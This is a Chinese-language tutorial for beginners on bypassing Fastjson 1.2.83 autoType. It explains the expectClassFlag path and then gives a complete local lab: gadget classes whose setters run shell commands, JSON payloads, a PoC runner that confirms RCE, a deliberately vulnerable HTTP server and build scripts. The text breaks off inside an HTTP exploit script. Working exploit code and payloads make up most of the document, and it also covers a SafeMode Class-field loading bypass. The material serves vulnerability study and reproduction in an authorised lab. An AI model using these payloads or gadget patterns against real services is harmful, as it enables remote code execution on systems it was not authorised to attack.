Fastjson 1.2.83 从零学懂:@type 是什么、为什么关了 autoType 还能 RCE
面向零基础新人的 Fastjson ≤1.2.83 教程。用生活类比讲清 JSON、@type、autoType,再讲 expectClassFlag 绕过、内部白名单、SafeMode 残留,并附本地 PoC 与 HTTP 靶场复现步骤。
免责声明:本文只做本地靶场学习、CTF 训练和授权安全研究。所有命令默认针对本机
127.0.0.1。请勿对未授权系统做任何测试。
这篇写给谁?
你可能:
- 听说过 “Fastjson 有洞”,但不知道它在干什么;
- 看过
@typepayload,却看不懂为什么能执行命令; - 听说官方已经默认关闭
autoType,却又听说 1.2.83 仍能绕过。
读完本文,你至少能讲清楚三句话:
- Fastjson 把 JSON 文本变成 Java 对象;
@type可以指定“变成哪一个类”;- 即使
autoTypeSupport=false,在某些字段类型下,仍可能加载攻击者指定的子类,进而触发危险代码。
本文不堆源码行号,优先讲人话 + 最小实验。
目录
- 0. 先把词搞懂
- 1. Fastjson 正常在干什么
- 2. @type:JSON 里塞“类名”
- 3. autoType:官方的门禁
- 4. 核心绕过:expectClassFlag
- 5. 为什么会变成 RCE
- 6. 两条对照实验(必做)
- 7. 另外两个设计点(了解即可)
- 8. 本地一键复现
- 9. HTTP 黑盒风格复现
- 10. 真实场景还缺什么
- 11. 怎么修、怎么防
- 12. 一张图串起来
- 13. 常见问题
- 14. 小结
0. 先把词搞懂
先别碰漏洞,先认 6 个词。
| 词 | 人话解释 |
|---|---|
| JSON | 一种文本格式,像 {"name":"小明"},方便程序之间传数据 |
| Java 对象 | 程序内存里的东西,比如一个 User,有 name、age 等字段 |
| 序列化 | 把对象变成可传输/可存储的形式(这里主要指变成 JSON 文本) |
| 反序列化 | 把文本再还原成对象(Fastjson 最危险的操作往往在这里) |
| autoType | Fastjson 的一种能力:根据 JSON 里的 @type 自动决定加载哪个 Java 类 |
| RCE | Remote Code Execution,远程代码执行,通俗说就是“让服务器跑攻击者的命令” |
一个生活类比
把服务器想成快递仓库:
- JSON 是快递单上的文字说明;
- Java 对象是仓库里真正的货;
- Fastjson 是按单子拆包、按说明生成货物的机器;
@type相当于单子上写着:“请按某某型号组装”;- 如果型号完全由寄件人随便填,仓库就可能组装出危险货物。
漏洞的本质不是 “JSON 坏了”,而是:
不可信输入 + 自动按类名创建对象 + 对象创建/赋值时会执行危险逻辑。
1. Fastjson 正常在干什么
Fastjson 是阿里早期非常流行的 Java JSON 库。业务里最常见两种用法:
1
2
3
4
5
// 对象 -> JSON 文本
String json = JSON.toJSONString(user);
// JSON 文本 -> 对象
User user = JSON.parseObject(json, User.class);
正常、安全的用法通常是:
我已经知道目标类型是
User,你就按User填字段就行。
比如:
1
{"name":"alice","age":18}
程序会得到:
1
User{name=alice, age=18}
这一步本身没问题。危险从“类型也可由攻击者指定”开始。
2. @type:JSON 里塞“类名”
Fastjson 支持一种特殊字段:@type。
1
2
3
4
{
"@type": "com.example.User",
"name": "alice"
}
意思是:
不要只当普通 Map 解析,请按
com.example.User这个类去创建对象,再把后面的字段塞进去。
这在“多态、接口字段、框架内部传对象”时很方便。
但从安全角度看,它等于:
攻击者可以尝试指定:创建哪一个类、给哪些属性赋值。
如果这个类在构造方法或 setXxx() 里会做危险事(比如执行命令、查 JNDI、读文件),反序列化就可能直接出事。
3. autoType:官方的门禁
历史上,autoType 开着时风险很大。后来官方默认:
1
autoTypeSupport = false
还加了:
- 黑名单(deny)
- 白名单(accept)
- SafeMode(更严)
很多人因此以为:
“关了 autoType 就安全了。”
对自由顶层 @type 来说,默认确实更安全。
但 1.2.83 及更早版本里,还有几条“门没关严”的路径。本文重点讲最容易理解的一条:
expectClassFlag 路径。
3.1 版本语境:1.2.83 修了什么,还剩什么
expectClass 这类问题对应公开编号 CVE-2022-25845(公开记录影响 1.2.83 之前的版本,细节以官方 release note 为准)。1.2.83 的修复封堵的是当时已公开的顶层与嵌套 @type 链利用路径,但“Bean 字段类型触发 expectClassFlag”属于设计行为,没有被完全收窄。本文第 6 节的对照实验会在 1.2.83 上实测证明这条残留路径依然可达——这正是本文实验的价值所在:说清“官方修了什么、还剩什么”。
4.1 节先给出结论链路图,第 6 节用一对对照实验(Exception 成功 / Runnable 失败)验证它。
4. 核心绕过:expectClassFlag
4.1 先记住一句话
当程序解析某个字段时,如果这个字段的类型不是那 10 个“太通用”的基类型,Fastjson 会认为:
“调用方已经期望某个具体类型了”,于是即便autoTypeSupport=false,仍可能按@type去loadClass。
先上结论图(第 6 节的实验会验证它,原文位置在第 12 节,此处提前):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
恶意 JSON
|
v
JSON.parseObject(json, UserPayload.class)
|
v
发现字段 detail 的类型 = Exception
|
v
Exception 不在 10 个基类型里
|
v
expectClassFlag = true
|
v
即使 autoTypeSupport=false,仍 TypeUtils.loadClass(EvilException)
|
v
EvilException 是 Exception 子类,通过校验
|
v
new EvilException()
|
v
setCmd("...") -> Runtime.exec(...)
|
v
RCE
如果把 Exception 换成 Runnable,链路会在中间断开。
4.2 那 10 个“太通用”的类型
官方把下面这些类型当成“太宽泛”:
ObjectSerializableCloneableCloseableAutoCloseableReadableRunnableEventListenerIterableCollection
字段是这些类型时:expectClassFlag = false,自由子类 @type 更容易被拦住。
补充一个实现细节:这 10 个判断在 1.2.83 源码里是按类名的 FNV1a_64 哈希比对完成的(不是字符串比较),与 7.1 节那 4 个硬编码内部白名单哈希是同一套机制。
字段不是这些类型时(例如 Exception、Throwable、很多业务接口/抽象类):
1
expectClassFlag = true
后面就可能走进:
1
2
3
if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(...);
}
注意:这里用的是 或。
所以:
1
2
autoTypeSupport = false
expectClassFlag = true
仍然可以加载类。
4.3 一个最容易懂的例子
脆弱 Bean:
1
2
3
4
public class UserPayload {
private String name;
private Exception detail; // 关键:字段类型是 Exception
}
恶意 JSON:
1
2
3
4
5
6
7
{
"name": "attacker",
"detail": {
"@type": "com.vuln.gadget.EvilException",
"cmd": "id"
}
}
解析代码:
1
2
3
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false); // 明明关了
UserPayload u = JSON.parseObject(json, UserPayload.class, cfg);
发生了什么:
- Fastjson 知道要解析成
UserPayload; - 填
detail字段时,期望类型是Exception; Exception不在那 10 个基类型里 →expectClassFlag=true;- 即使 autoType 关着,仍加载
EvilException; - 再检查:
EvilException是不是Exception的子类?是 → 通过; new EvilException(),再setCmd("id");- 如果
setCmd里执行了命令,RCE 就成了。
这就是本漏洞最核心、也最适合新人理解的路径。
5. 为什么会变成 RCE
很多人卡在这里:
“加载一个类,为什么就能执行系统命令?”
答案:类加载本身不等于 RCE。
RCE 来自“创建对象 + 给属性赋值”时触发的副作用。
实验用的 gadget 可以长这样(教学用途,极度简化):
1
2
3
4
5
6
7
8
9
10
public class EvilException extends Exception {
private String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
} catch (Exception ignored) {}
}
}
Fastjson 反序列化时会:
- 实例化
@type指定的类; - 对 JSON 里的字段调用对应
setXxx。
所以 payload 里的:
1
"cmd": "echo pwned > logs/fastjson_1283_pwned"
会变成:
1
evilException.setCmd("echo pwned > logs/fastjson_1283_pwned");
命令就这样被跑起来了。
真实环境里,gadget 通常不是你自己写的 EvilException,而是 classpath 里已有的危险类/利用链(历史常见 JNDI、TemplatesImpl、各种第三方库链等)。
教学环境用自写 gadget,是为了干净证明“实例化 + 属性注入”这条链路是通的。
6. 两条对照实验(必做)
理解漏洞,最好做一对“成/败”对照。
实验 A:字段类型 = Exception → 成功
1
2
// detail 类型是 Exception
{"detail":{"@type":"com.vuln.gadget.EvilException","cmd":"id"}}
预期:
- 构造方法被调用
setCmd被调用- 出现 RCE 标记文件
实验 B:字段类型 = Runnable → 失败
1
2
// task 类型是 Runnable(10 个基类型之一)
{"task":{"@type":"com.vuln.gadget.EvilRunnable","cmd":"id"}}
预期:
1
autoType is not support. com.vuln.gadget.EvilRunnable
对照结论
| 字段类型 | 是否在 10 基类型内 | autoType=false 时 |
|---|---|---|
Exception | 否 | 可能加载子类 → 可利用 |
Runnable | 是 | 通常被拦 |
延伸实验:为什么示例用 Exception?换个字段类型试试
业务里更常见的其实是接口/抽象类字段。把 UserPayload.detail 的类型从 Exception 换成你自己的接口或抽象类(例如自定义 Plugin、CharSequence 等),payload 换成对应子类,再跑一遍 Case 2。只要满足两个条件——字段类型不在 10 基类型里、@type 是该类型的子类——链路同样成立。这也是真实攻击面最大的地方:类型图里任何一个“非基类”字段都可能成为入口。
所以漏洞不是“任意 JSON 都能打”,而是:
业务模型里存在“非 10 基类型”的字段 + classpath 有可用 gadget。
7. 另外两个设计点(了解即可)
学到这里,核心已经够用。下面两点知道存在即可。
7.1 内部硬编码白名单(4 个哈希)
Fastjson 里有 4 个写死的 FNV1a_64 哈希,对应类似:
java.util.Collections$UnmodifiableMapcom.alibaba.fastjson.util.AntiCollisionHashMapjava.util.concurrent.ConcurrentSkipListMapjava.util.concurrent.ConcurrentSkipListSet
命中后会走内部白名单逻辑,更容易绕过 deny 限制。
它们本身通常不是直接 RCE gadget,但说明:
黑名单不是绝对屏障,硬编码白名单会扩大攻击面。
7.2 SafeMode 下的 Class 字段残留
即使开了 SafeMode,如果 Bean 里有 Class 类型字段,MiscCodec 可能直接:
1
TypeUtils.loadClass("java.lang.Runtime", ...)
这条路径不经过完整的 checkAutoType。
注意:
- 这证明了“类加载门禁可被旁路”;
- 单独加载
Class对象 ≠ 立刻 RCE; - 要 RCE 还需要后续利用条件。
新人阶段记住:
SafeMode 不是“绝对安全开关”,也要看业务字段类型和解析路径。
8. 本地一键复现
8.1 环境要求
| 项目 | 建议 |
|---|---|
| 系统 | Linux 或 macOS(gadget 用到 /bin/sh,Windows 不可用) |
| JDK | 11 或 17(实测 JDK 27 也可;JDK 8 不支持:--release 11 与 Path.of 均不可用) |
| Fastjson | 1.2.83 官方 jar(SHA-256:641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d) |
| 权限 | 仅本机实验 |
8.2 搭建 lab:目录结构与完整源码
整个 lab 就是一个目录,长这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Fastjson-1.2.83-RCE/
├── lib/
│ └── fastjson-1.2.83.jar # 官方 jar,从 Maven 中央仓库下载
├── src/main/java/com/vuln/
│ ├── beans/UserPayload.java
│ ├── beans/RunnableFieldBean.java
│ ├── beans/ClassFieldBean.java
│ ├── gadget/EvilException.java
│ ├── gadget/EvilRunnable.java
│ ├── poc/PocRunner.java
│ └── server/VulnHttpServer.java
├── logs/ # 运行输出与 RCE 标记文件(脚本自动生成)
├── run-poc.sh # 一键编译 + 运行本地 PoC
├── exploit-http.sh # HTTP 靶场一键验证
└── cleanup.sh # 停服务、清标记文件(--full 连 logs/out 一起删)
先建目录并下载官方 jar(下载后校验 SHA-256):
1
2
3
4
5
mkdir -p Fastjson-1.2.83-RCE/lib Fastjson-1.2.83-RCE/src/main/java/com/vuln/{beans,gadget,poc,server}
cd Fastjson-1.2.83-RCE
curl -L -o lib/fastjson-1.2.83.jar \
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar
echo "641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d lib/fastjson-1.2.83.jar" | sha256sum -c -
下面 10 个文件就是 lab 的全部内容(原文照抄即可复现)。
文件 1:src/main/java/com/vuln/beans/UserPayload.java(脆弱 Bean:detail 字段类型是 Exception,非 10 基类型)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.vuln.beans;
public class UserPayload {
private String name;
private Exception detail;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Exception getDetail() {
return detail;
}
public void setDetail(Exception detail) {
this.detail = detail;
}
@Override
public String toString() {
return "UserPayload{name=" + name + ", detail=" +
(detail == null ? "null" : detail.getClass().getName()) + "}";
}
}
文件 2:src/main/java/com/vuln/beans/RunnableFieldBean.java(对照组:Runnable 在 10 基类型内,应被拦)
1
2
3
4
5
6
7
8
9
10
11
12
13
package com.vuln.beans;
public class RunnableFieldBean {
private Runnable task;
public Runnable getTask() {
return task;
}
public void setTask(Runnable task) {
this.task = task;
}
}
文件 3:src/main/java/com/vuln/beans/ClassFieldBean.java(Class 类型字段,用于 Case 4 / /api/meta)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.vuln.beans;
public class ClassFieldBean {
private String label;
private Class<?> type;
public String getLabel() {
return label;
}
public void setLabel(String label) {
this.label = label;
}
public Class<?> getType() {
return type;
}
public void setType(Class<?> type) {
this.type = type;
}
@Override
public String toString() {
return "ClassFieldBean{label=" + label + ", type=" +
(type == null ? "null" : type.getName()) + "}";
}
}
文件 4:src/main/java/com/vuln/gadget/EvilException.java(教学 gadget:setCmd 里执行本机命令)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.vuln.gadget;
public class EvilException extends Exception {
private String cmd;
private static volatile String lastExecuted;
public EvilException() {
super("EvilException gadget");
System.out.println("[Gadget] EvilException.<init>() called");
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
lastExecuted = cmd;
System.out.println("[Gadget] EvilException.setCmd(\"" + cmd + "\") -> Runtime.exec");
try {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
p.waitFor();
System.out.println("[Gadget] command exit=" + p.exitValue());
} catch (Exception e) {
System.out.println("[Gadget] exec failed: " + e);
e.printStackTrace(System.out);
}
}
public static String getLastExecuted() {
return lastExecuted;
}
}
文件 5:src/main/java/com/vuln/gadget/EvilRunnable.java(同款 gadget,但实现 Runnable,用于对照实验 B)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.vuln.gadget;
public class EvilRunnable implements Runnable {
private String cmd;
public EvilRunnable() {
System.out.println("[Gadget] EvilRunnable.<init>()");
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
System.out.println("[Gadget] EvilRunnable.setCmd -> exec " + cmd);
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).waitFor();
} catch (Exception e) {
e.printStackTrace(System.out);
}
}
@Override
public void run() {
// no-op
}
}
文件 6:src/main/java/com/vuln/poc/PocRunner.java(本地 PoC 主程序,分 0/1/2/2b/3/4 六段)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
package com.vuln.poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.vuln.beans.ClassFieldBean;
import com.vuln.beans.RunnableFieldBean;
import com.vuln.beans.UserPayload;
import com.vuln.gadget.EvilException;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
public class PocRunner {
private static final Path MARKER = Path.of("logs/fastjson_1283_pwned");
private static final Path LOG = Path.of("logs/poc-run.log");
private final PrintWriter log;
public PocRunner(PrintWriter log) {
this.log = log;
}
public static void main(String[] args) throws Exception {
Files.createDirectories(Path.of("logs"));
try (PrintWriter log = new PrintWriter(new FileWriter(LOG.toFile()), true)) {
PocRunner runner = new PocRunner(log);
runner.banner();
runner.case0_env();
runner.case1_autoTypeBlocked();
runner.case2_expectClassFlagRce();
runner.case2b_runnableBlocked();
runner.case3_internalWhitelist();
runner.case4_miscCodecClassBypassSafeMode();
runner.summary();
}
System.out.println("\n[+] Full log written to " + LOG.toAbsolutePath());
}
private void banner() {
both("============================================================");
both(" Fastjson 1.2.83 autoType bypass lab reproduction");
both(" Core: bypass autoTypeSupport=false");
both("============================================================");
}
private void case0_env() throws Exception {
section("0. Environment");
both("Java: " + System.getProperty("java.version"));
both("Fastjson: " + JSON.VERSION);
ParserConfig cfg = ParserConfig.getGlobalInstance();
both("autoTypeSupport(global)=" + cfg.isAutoTypeSupport());
both("safeMode(global)=" + cfg.isSafeMode());
both("INTERNAL_WHITELIST_HASHCODES (4 hardcodes):");
long[] hashes = readInternalWhitelist();
String[] names = {
"java.util.Collections.UnmodifiableMap",
"com.alibaba.fastjson.util.AntiCollisionHashMap",
"java.util.concurrent.ConcurrentSkipListMap",
"java.util.concurrent.ConcurrentSkipListSet"
};
for (int i = 0; i < hashes.length; i++) {
both(String.format(" [%d] 0x%016X => %s", i, hashes[i], names[i]));
}
}
private void case1_autoTypeBlocked() {
section("1. Baseline: free @type does NOT instantiate when autoTypeSupport=false");
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false);
cfg.setSafeMode(false);
String payload = "{\"@type\":\"com.vuln.gadget.EvilException\",\"cmd\":\"id\"}";
both("autoTypeSupport=false, payload=" + payload);
try {
Class<?> c = cfg.checkAutoType("com.vuln.gadget.EvilException", null);
both("checkAutoType(EvilException, null) => " + c + " (null means not auto-loaded)");
} catch (Exception e) {
both("checkAutoType threw: " + e.getMessage());
}
Object o = JSON.parse(payload, cfg);
both("JSON.parse result class=" + o.getClass().getName());
both("JSON.parse result=" + o);
if (o instanceof EvilException) {
both("UNEXPECTED: free @type instantiated EvilException");
} else {
both("SAFE: free @type did NOT instantiate gadget (stayed as " + o.getClass().getSimpleName() + ")");
}
both("--- contrast: explicit target type (caller-controlled, by design)");
Object o2 = JSON.parseObject(payload, EvilException.class, cfg);
both("parseObject(payload, EvilException.class) => " + o2.getClass().getName());
both(" explicit target type still runs setters, but the TYPE is chosen by the caller,");
both(" the attacker cannot hijack it with @type. Free @type is attacker-controlled.");
}
private void case2_expectClassFlagRce() throws Exception {
section("2. CORE: expectClassFlag bypass (autoTypeSupport=false) -> RCE");
Files.deleteIfExists(MARKER);
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false);
cfg.setSafeMode(false);
both("autoTypeSupport=" + cfg.isAutoTypeSupport() + " safeMode=" + cfg.isSafeMode());
both("Bean field type: java.lang.Exception (NOT in the 10 base types)");
both(" => expectClassFlag=true => TypeUtils.loadClass still called");
String cmd = "echo pwned_by_expectClassFlag > " + MARKER + " && id";
String payload = "{"
+ "\"name\":\"alice\","
+ "\"detail\":{"
+ "\"@type\":\"com.vuln.gadget.EvilException\","
+ "\"cmd\":\"" + cmd + "\""
+ "}"
+ "}";
both("payload=" + payload);
UserPayload bean = JSON.parseObject(payload, UserPayload.class, cfg);
both("parsed bean=" + bean);
both("detail class=" + (bean.getDetail() == null ? "null" : bean.getDetail().getClass().getName()));
both("EvilException.lastExecuted=" + EvilException.getLastExecuted());
if (Files.exists(MARKER)) {
both("RCE CONFIRMED: marker file exists: " + MARKER);
both("marker content: " + Files.readString(MARKER).trim());
} else {
both("RCE FAILED: marker missing");
}
}
private void case2b_runnableBlocked() {
section("2b. Contrast: field type Runnable is in the 10 hashes (expectClassFlag=false)");
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false);
String payload = "{\"task\":{\"@type\":\"com.vuln.gadget.EvilRunnable\",\"cmd\":\"id\"}}";
both("payload=" + payload);
try {
RunnableFieldBean bean = JSON.parseObject(payload, RunnableFieldBean.class, cfg);
both("UNEXPECTED: " + bean.getTask());
} catch (Exception e) {
both("BLOCKED as expected: " + e.getClass().getSimpleName() + ": " + e.getMessage());
}
}
private void case3_internalWhitelist() {
section("3. INTERNAL_WHITELIST: 4 hardcoded hashes force-allow loadClass");
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false);
cfg.setSafeMode(false);
String[] allowed = {
"java.util.Collections$UnmodifiableMap",
"com.alibaba.fastjson.util.AntiCollisionHashMap",
"java.util.concurrent.ConcurrentSkipListMap",
"java.util.concurrent.ConcurrentSkipListSet"
};
for (String type : allowed) {
String json = "{\"@type\":\"" + type + "\"}";
both("--- checkAutoType / parse: " + type);
try {
Class<?> c = cfg.checkAutoType(type, null);
both(" checkAutoType => " + (c == null ? "null" : c.getName()));
} catch (Exception e) {
both(" checkAutoType threw: " + e.getMessage());
}
try {
Object o = JSON.parse(json, cfg);
both(" JSON.parse => " + (o == null ? "null" : o.getClass().getName()));
} catch (Exception e) {
both(" JSON.parse threw: " + e.getClass().getSimpleName() + ": " + e.getMessage());
}
}
both("--- deny contrast: com.vuln.gadget.EvilException free @type");
try {
Class<?> c = cfg.checkAutoType("com.vuln.gadget.EvilException", null);
both(" checkAutoType => " + c);
} catch (Exception e) {
both(" DENIED as expected: " + e.getMessage());
}
}
private void case4_miscCodecClassBypassSafeMode() {
section("4. MiscCodec Class field: loadClass bypasses SafeMode + checkAutoType");
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false);
cfg.setSafeMode(true);
both("autoTypeSupport=false, safeMode=true");
try {
Object o = JSON.parse("{\"@type\":\"java.lang.Integer\"}", cfg);
both("UNEXPECTED free @type under SafeMode: " + o);
} catch (Exception e) {
both("SafeMode blocks free @type: " + e.getMessage());
}
String payload = "{\"label\":\"probe\",\"type\":\"java.lang.Runtime\"}";
both("Class-field payload=" + payload);
try {
ClassFieldBean bean = JSON.parseObject(payload, ClassFieldBean.class, cfg);
both("PARSED under SafeMode: " + bean);
both("Loaded Class object: " + bean.getType());
both("Bypass confirmed: MiscCodec -> TypeUtils.loadClass (no checkAutoType)");
} catch (Exception e) {
both("FAILED: " + e);
e.printStackTrace(log);
}
String payload2 = "{\"label\":\"evil\",\"type\":\"com.vuln.gadget.EvilException\"}";
both("Class-field payload2=" + payload2);
try {
ClassFieldBean bean2 = JSON.parseObject(payload2, ClassFieldBean.class, cfg);
both("PARSED: " + bean2);
both("classloader=" + bean2.getType().getClassLoader());
} catch (Exception e) {
both("FAILED: " + e.getMessage());
}
}
private void summary() {
section("Summary");
both("1) autoTypeSupport=false alone does NOT stop expectClassFlag path.");
both("2) When Bean field type is NOT one of the 10 base types, @type subclass loads.");
both("3) INTERNAL_WHITELIST (4 hashes) force-allows specific classes past deny.");
both("4) Class-typed fields use MiscCodec.loadClass and ignore SafeMode.");
both("Remediation: upgrade to Fastjson2 / SafeMode + no Class fields / accept whitelist.");
both("Marker RCE file: " + MARKER + " exists=" + Files.exists(MARKER));
}
private static long[] readInternalWhitelist() throws Exception {
Field f = ParserConfig.class.getDeclaredField("INTERNAL_WHITELIST_HASHCODES");
f.setAccessible(true);
return (long[]) f.get(null);
}
private void section(String title) {
both("");
both("------------------------------------------------------------");
both(title);
both("------------------------------------------------------------");
}
private void both(String s) {
System.out.println(s);
log.println(s);
}
}
文件 7:src/main/java/com/vuln/server/VulnHttpServer.java(第 9 节 HTTP 靶场服务端)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
package com.vuln.server;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;
import com.vuln.beans.ClassFieldBean;
import com.vuln.beans.UserPayload;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
public class VulnHttpServer {
public static void main(String[] args) throws Exception {
int port = args.length > 0 ? Integer.parseInt(args[0]) : 18083;
ParserConfig cfg = ParserConfig.getGlobalInstance();
cfg.setAutoTypeSupport(false);
cfg.setSafeMode(false);
System.out.println("[*] Global autoTypeSupport=false (still vulnerable via expectClassFlag)");
System.out.println("[*] Fastjson " + JSON.VERSION);
HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", port), 0);
server.createContext("/health", VulnHttpServer::health);
server.createContext("/api/user", VulnHttpServer::user);
server.createContext("/api/meta", VulnHttpServer::meta);
server.setExecutor(null);
server.start();
System.out.println("[+] Vuln HTTP listening on http://127.0.0.1:" + port);
System.out.println(" POST /api/user -> UserPayload (Exception field)");
System.out.println(" POST /api/meta -> ClassFieldBean (Class field)");
}
private static void health(HttpExchange ex) throws IOException {
writeJson(ex, 200, mapOf(
"status", "ok",
"fastjson", JSON.VERSION,
"autoTypeSupport", ParserConfig.getGlobalInstance().isAutoTypeSupport(),
"safeMode", ParserConfig.getGlobalInstance().isSafeMode()
));
}
private static void user(HttpExchange ex) throws IOException {
if (!"POST".equalsIgnoreCase(ex.getRequestMethod())) {
writeJson(ex, 405, mapOf("error", "POST only"));
return;
}
String body = readBody(ex);
System.out.println("[REQ /api/user] " + body);
try {
UserPayload bean = JSON.parseObject(body, UserPayload.class);
writeJson(ex, 200, mapOf(
"ok", true,
"bean", String.valueOf(bean),
"detailClass", bean.getDetail() == null ? null : bean.getDetail().getClass().getName()
));
} catch (Exception e) {
System.out.println("[ERR] " + e);
writeJson(ex, 400, mapOf("ok", false, "error", e.toString()));
}
}
private static void meta(HttpExchange ex) throws IOException {
if (!"POST".equalsIgnoreCase(ex.getRequestMethod())) {
writeJson(ex, 405, mapOf("error", "POST only"));
return;
}
String body = readBody(ex);
System.out.println("[REQ /api/meta] " + body);
try {
// Even if caller enables SafeMode on a local config, Class field still loads.
ParserConfig safe = new ParserConfig();
safe.setAutoTypeSupport(false);
safe.setSafeMode(true);
ClassFieldBean bean = JSON.parseObject(body, ClassFieldBean.class, safe);
writeJson(ex, 200, mapOf(
"ok", true,
"bean", String.valueOf(bean),
"typeName", bean.getType() == null ? null : bean.getType().getName(),
"note", "parsed with safeMode=true local ParserConfig"
));
} catch (Exception e) {
System.out.println("[ERR] " + e);
writeJson(ex, 400, mapOf("ok", false, "error", e.toString()));
}
}
private static String readBody(HttpExchange ex) throws IOException {
try (InputStream in = ex.getRequestBody()) {
return new String(in.readAllBytes(), StandardCharsets.UTF_8);
}
}
private static void writeJson(HttpExchange ex, int code, Map<String, ?> obj) throws IOException {
byte[] data = JSON.toJSONString(obj).getBytes(StandardCharsets.UTF_8);
ex.getResponseHeaders().add("Content-Type", "application/json; charset=utf-8");
ex.sendResponseHeaders(code, data.length);
try (OutputStream out = ex.getResponseBody()) {
out.write(data);
}
}
private static Map<String, Object> mapOf(Object... kv) {
Map<String, Object> m = new HashMap<>();
for (int i = 0; i < kv.length; i += 2) {
m.put(String.valueOf(kv[i]), kv[i + 1]);
}
return m;
}
}
文件 8:run-poc.sh(放在 lab 根目录,一键编译 + 运行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env bash
# Build & run Fastjson 1.2.83 local PoCs
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
cd "$ROOT"
JAVA_VER=$(javac -version 2>&1 | grep -oE '[0-9]+' | head -1)
if [[ -z "${JAVA_VER:-}" || "$JAVA_VER" -lt 11 ]]; then
echo "[!] JDK 11+ required (compile uses --release 11), found: $(javac -version 2>&1)"
echo " JDK 8 is NOT supported (Path.of / Files.readString unavailable)."
exit 1
fi
echo "[*] Using JDK $JAVA_VER"
JAR="$ROOT/lib/fastjson-1.2.83.jar"
SRC="$ROOT/src/main/java"
OUT="$ROOT/out"
LOGDIR="$ROOT/logs"
mkdir -p "$OUT" "$LOGDIR"
echo "[*] Compiling..."
find "$SRC" -name '*.java' > "$OUT/sources.list"
javac --release 11 -cp "$JAR" -d "$OUT" @"$OUT/sources.list"
echo "[+] Compile OK"
echo "[*] Running PocRunner..."
java -cp "$OUT:$JAR" com.vuln.poc.PocRunner | tee "$LOGDIR/poc-console.txt"
echo "[+] Done. See logs/poc-run.log and logs/poc-console.txt"
文件 9:exploit-http.sh(HTTP 靶场一键验证,用法见第 9 节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env bash
# Black-box style HTTP exploit against VulnHttpServer
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
cd "$ROOT"
BASE="${1:-http://127.0.0.1:18083}"
MARKER="logs/fastjson_1283_http_pwned"
LOG="$ROOT/logs/http-exploit.log"
mkdir -p "$ROOT/logs"
rm -f "$MARKER"
exec > >(tee "$LOG") 2>&1
echo "============================================================"
